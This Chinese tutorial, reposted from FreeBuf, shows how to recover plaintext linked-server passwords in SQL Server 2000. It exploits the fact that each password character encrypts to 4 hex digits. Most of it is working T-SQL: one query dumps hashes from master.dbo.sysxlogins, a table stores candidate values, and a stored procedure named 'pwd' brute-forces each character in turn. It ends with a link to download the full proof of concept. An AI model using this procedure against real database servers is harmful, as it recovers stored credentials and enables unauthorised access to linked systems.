如何将SQLServer 2000链接服务器的密码破解为明文

MSSQL有一个LINKSERVER的功能——链接服务器,每字符加密为4位,不用管加密算法,可以撞出来。

如何将SQLServer 2000链接服务器的密码破解为明文

查看我的版本号

然后就执行下面的代码首先查看我的连接

代码语句:Exec sp_helpserver 

现在看到数据库里面有6个连接现在我要新建立一个linkserver连接名字为dhlinkserver

如何将SQLServer 2000链接服务器的密码破解为明文

第一步,先建立一个linkserver

sp_addlinkedserver 'dhlinkserver','','SQLOLEDB','127.0.0.1','','','master'

可以看到执行成功

如何将SQLServer 2000链接服务器的密码破解为明文

再次查看连接,可以看到有7条连接,现在去创建一个表存放HASH值的表

如何将SQLServer 2000链接服务器的密码破解为明文

创建linkserver连接过后给连接新添加账号密码

代码区:

EXEC sp_addlinkedsrvlogin  'dhlinkserver', --被访问的服务器别名(如果上面sp_addlinkedserver中使用别名JOY,则这里也是JOY)  'false',  NULL,  'test123', --帐号  'test123' --密码

执行成功后:账号为:test123 密码:test123

如何将SQLServer 2000链接服务器的密码破解为明文

查询现在数据库里存储的密码:

语句执行

select name,master.dbo.fn_VarBinToHexStr(password)pass from master.dbo.sysxlogins

如何将SQLServer 2000链接服务器的密码破解为明文

我在建立一个名字为:www的linkserver连接

如何将SQLServer 2000链接服务器的密码破解为明文

可以看到没有www的linkserver连接

还是一种方法创建 linkserver,下面我使用第二种方法创建,第一种方法连接可以在本文下面第一步细节里面有提到我就不解释了.

第二种创建连接是直接创立连接

exec sp_addlinkedserver  @server= 'server'  Server 创建的名字

如何将SQLServer 2000链接服务器的密码破解为明文

现在我们查询查询连接是否创建成功

查询语句:Exec sp_helpserver

可以看到:www连接按照我上述讲的,在给www这个连接建立一个用户名为:test12 密码为:test12 我们看看出现的hash是否一样

如何将SQLServer 2000链接服务器的密码破解为明文

OK创建成功.查询下密码

如何将SQLServer 2000链接服务器的密码破解为明文

可以看到,每字符加密为4位上次添加linkserver连接用户名:test123 密码:test123

这次对比下,少了一位密码字符,他就少了4位加密的算法

用户名:test123 pass:0xc7fb432df59950d1b05c1edb5a6f  用户名:test12 pass:0xc7fb432df59950d1b05c1edb

如何将SQLServer 2000链接服务器的密码破解为明文

第二步:创建一个表用于存放计算出来的HASH

执行语句:

create table mssql (list int not null identity (1,1), pass nvarchar(500),code varbinary(256))

如何将SQLServer 2000链接服务器的密码破解为明文

sp_dropserver 'dhlinkserver', 'droplogins'  drop table mssql  DROP PROCEDURE pwd

如何将SQLServer 2000链接服务器的密码破解为明文

创建表成功,后创建存储破解使用过程

第三步 创建破解用的存储过程

POC:

create   procedure   pwd  @pwd sysname = NULL  AS      declare @ss varchar(256),@str varchar (256),@getpass varbinary(256)         truncate table mssql      create table #t (inetpub nvarchar(500))      select @ss=@pwd+'abcdefghijklmnopqrstuvwxyz`0123456789-=[]/;,./~!@#$%^&*()_+{}|:<>?'      declare @index int      select @index=1      while (@index <=len(@ss))      begin          insert #t(inetpub) select SUBSTRING (@ss,@index,1)          select @index = @index +1          select @str=@pwd+inetpub from #t          exec master.dbo.sp_addlinkedsrvlogin 'dhlinkserver','false',Null,'xxxx',@str          select @getpass = password from master.dbo.sysxlogins where name ='xxxx'          insert into mssql(pass,code) values (@str,@getpass)      end  select list,pass,master.dbo.fn_VarBinToHexStr(code)code from mssql  drop table #t

如何将SQLServer 2000链接服务器的密码破解为明文

第四步,查询现在数据库里存储的密码

elect name,master.dbo.fn_VarBinToHexStr(password)pass from master.dbo.sysxlogins

相关资料科普

第一步细节:

sp_addlinkedserver 'dhlinkserver','','SQLOLEDB','127.0.0.1','','','master'  sp_addlinkedserver

创建一个链接的服务器,使其允许对分布式的、针对 OLE DB 数据源的异类查询进行访问。在使用 sp_addlinkedserver 创建链接的服务器之后,此服务器就可以执行分布式查询。如果链接服务器定义为 Microsoft® SQL Server™,则可执行远程存储过程。 

'dhlinkserver' 则是创建的声名这个连接名  'SQLOLEDB' 使用SQLOLEDB远程访问  127.0.0.1 要访问连接的IP  'master'

此连接有他的信息http://www.jb51.net/article/14194.htm

第二部细节:

create table mssql (list int not null identity (1,1), pass nvarchar(500),code varbinary(256))   sp_dropserver 'dhlinkserver', 'droplogins'drop table mssqlDROP PROCEDURE pwd  这个是create table 创建表语句  sp_dropserver  从本地 Microsoft® SQL Server™ 上的已知远程和链接服务器列表中删除服务器。  语法:  sp_dropserver [ @server = ] 'server'     [ , [ @droplogins = ] { 'droplogins' | NULL} ]  'dhlinkserver' 这个是上面第一步的时候建立linkserver连接的时候名字

完整测试POC:

链接: http://pan.baidu.com/s/1mgh7QL6 密码: 1n29

*本文作者:h4ckj1n,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论